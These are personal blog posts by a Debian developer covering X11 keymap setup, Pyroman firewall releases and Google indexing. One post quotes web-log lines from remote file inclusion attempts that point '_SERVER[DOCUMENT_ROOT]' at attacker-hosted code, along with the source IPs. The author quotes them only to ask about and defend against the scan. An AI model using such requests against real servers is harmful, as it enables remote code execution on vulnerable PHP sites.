From Roderich Schupp I received the following instructions:

cp /usr/share/doc/hal/examples/10-x11-input.fdi /etc/hal/fdi/policy/

And in order to set a default keymap:

<deviceinfo version="0.2">
  <device>
    <match key="input.xkb.rules" contains="base">
      <merge key="input.xkb.layout" type="string">de</merge>
      <merge key="input.xkb.variant" type="string">nodeadkeys</merge>
    </match>
  </device>
</deviceinfo>

Thank you, I'm going to try that on my next reboot (which may take a week).

Xorg 1.4 in experimental is supposed to have input device hotplugging.

Does anyone have a Howto for Debian? I tried it, but I couldn't get it to hot-plug my USB mouse, so I'm back to using the regular mouse driver for it again, using the /dev/input/mice in-kernel-hack for hotplugging.

P.S. on a recent kernel, you might want to add

blacklist snd_pcsp

P.S. No, my blog doesn't have comments. Just send me an email (you know, 'legacy' email) via erich AT debian org.

YouTube video demoing a book with 3D pop-up letters. Very cool, even when the video requires Flash to watch.

From my security monitoring:

suhosin[25775]: ALERT - tried to register forbidden variable '_SERVER[DOCUMENT_ROOT]' through GET variables (attacker '67.19.104.82', file '[...]')

The web logs contained:

GET //?_SERVER[DOCUMENT_ROOT]=http://sekip.axspace.com/alat/r0x.txt?? HTTP/1.1

Is this some new PHP attack vector (that happens to be blocked by the suhosin security module)? I thought it was related to ConPresso, but I've also found similar accesses in my logs that were on sites that don't use PHP (and thus did not trigger a suhosin alert). Obviously these don't relate to ConPresso, so it seems more like a brute force / mass attack?

Another host involved:

80.93.54.47 ... GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1

That referenced URL still works, so if you want you can retrieve the 'exploit' code. But all it apparently does is to try various methods to execute "id", probably to locate web servers that are vulnerable and maybe even running as "root" user.

Obviously this is a brute force; that site doesn't have an index.php.

Is that anything new? Or is it just some script kiddie trying to re-use an aged exploit? But on the other hand, I havn't seen such a suhosin alert in months. Anybody knows which PHP script might be vulnerable to this attack vector.

If you've got any details, contact me at erich@debian.org; my blog intentionally does not have comments or trackbacks.

[Update: I've received two mails pointing out that such vulnerablities are found in some PHP apps every now and then, so it might just be some script kiddie scanning brute force once more. Supposedly this cannot be exploited when register_globals is off and/or suhosin is used.]

As mentioned earlier, I've uploaded a new Pyroman release to Debian. I've also updated the download at the download page on alioth for the non-Debian users.

There is just one single user-visible change (under the hood I switched some Python API so you need python 2.4+ now, which was available in sarge already):

This version has a new command line option, "--verification-cmd". This can be used to point to a script file to verify network connectivity. For example, you could try to send a ping to the next router, or you could ssh to another host, have it ssh back and touch a flag file in /tmp to signal success.

Similar to the --safe option, it is meant as a safety feature to avoid locking yourself out of your system. But while --safe needs to be used interactively, this new command could be used when automatically activating new firewall rules, e.g. triggered by cfengine or some other configuration management. If the verification command does not succeed, the firewall rules will automatically be rolled back to the previous state.

Note that I didn't get around to add IPv6 support yet. It would definitely be desirable to add ip6tables support, but I currently do not have any experience with IPv6, so I'm not sure I'd know how to do things right. Of course I'd welcome any patches.

(In case you havn't read about pyroman yet - it's yet another tool to configure iptables firewalls. It puts a thin abstraction layer on top of iptables, but the main benefit is that it uses "iptables-restore" to quickly mass-set all the firewall rules - other tools tend to invoke several hundred iptables processes to achieve the same - and if any error occurs it will both give you a clear indication of which rule caused the error and rolling back your firewall to the previous state.)

Today, I uploaded a new version of my firewall configuration tool, pyroman, to Debian unstable.

About 4 hours later I googled for "Pyroman Debian" and was surprised to find the upload notification in the top results. The first hour of this was probably spent with me doing some package function tests (I don't want to upload broken packages, after all), then the announcement was distributed to the -changes mailing list at Debian, which in turn was picked up by Google Groups.

However that might be due to groups.google.com getting special treatment, though. For this resource, Google can actually trigger an update instead of having to have a spider frequently re-crawl all the contents.

Still I find it pretty impressive to have such new data already in their main index. I was used to this e.g. for blog and news search, but not for regular web search.